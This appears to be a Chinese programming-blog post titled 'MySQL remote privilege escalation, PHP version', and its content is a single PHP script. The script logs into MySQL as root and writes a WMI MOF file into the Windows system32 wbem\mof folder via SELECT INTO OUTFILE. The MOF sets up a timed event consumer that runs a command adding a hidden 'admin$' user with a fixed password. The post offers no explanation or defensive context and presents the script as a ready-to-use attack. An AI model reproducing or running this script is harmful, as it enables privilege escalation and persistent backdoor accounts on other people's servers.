继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

MySQL远程提权php版

烙印99
关注TA
已关注
手记 352
粉丝 92
获赞 446

<?php

  

$mysql_server_name='localhost';

$mysql_username='root';

$mysql_password='';

$mysql_database='mysql';

$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);

$cmdshell="net user admin$ qwe!@#123qwe /add";

$payload = "#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\")

  

instance of __EventFilter as \$EventFilter

{

EventNamespace = \"Root\\\\Cimv2\";

Name = \"filtP2\";

Query = \"Select * From __InstanceModificationEvent \"

\"Where TargetInstance Isa \\\"Win32_LocalTime\\\" \"

\"And TargetInstance.Second = 5\";

QueryLanguage = \"WQL\";

};

  

instance of ActiveScriptEventConsumer as \$Consumer

{

Name = \"consPCSV2\";

ScriptingEngine = \"JScript\";

ScriptText =

\"var WSH = new ActiveXObject(\\\"WScript.Shell\\\")\\nWSH.run(\\\"$cmdshell\\\")\";

};

  

instance of __FilterToConsumerBinding

{

Consumer = \$Consumer;

Filter = \$EventFilter;

};";

mysql_select_db($mysql_database,$conn);

$sql="select '$payload' into outfile 'c:/windows/system32/wbem/mof/nullevt.mof';";

$result=mysql_query($sql);

mysql_close($conn);

?>


打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP